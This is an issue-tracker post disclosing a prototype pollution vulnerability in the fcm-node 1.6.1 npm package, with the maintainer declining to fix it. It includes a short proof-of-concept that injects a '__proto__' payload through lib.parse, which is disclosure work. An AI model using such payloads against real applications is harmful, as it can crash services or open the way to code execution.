[Vulnerability] Prototype Pollution

[jlcvp]

as pointed out in a private message by @tariqhawis this lib has a Prototypo Pollution vulnerability.

I'll not put effort in updating this lib as I don't have the bandwidth right now. Please use Firebase own SDK

Original Report:

Vulnerability type:
Prototype Pollution

Affected Package:

• Product: fcm-node
• Version: 1.6.1

Vulnerability Location(s):

node_modules/fcm-node/index.js

Description:

The latest version of fcm-node (1.6.1) is vulnerable to Prototype Pollution through the entry function(s) lib. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

(async () => {
const lib = await import('fcm-node');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.parse('{"__proto__":{"pollutedKey":123}}'))
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();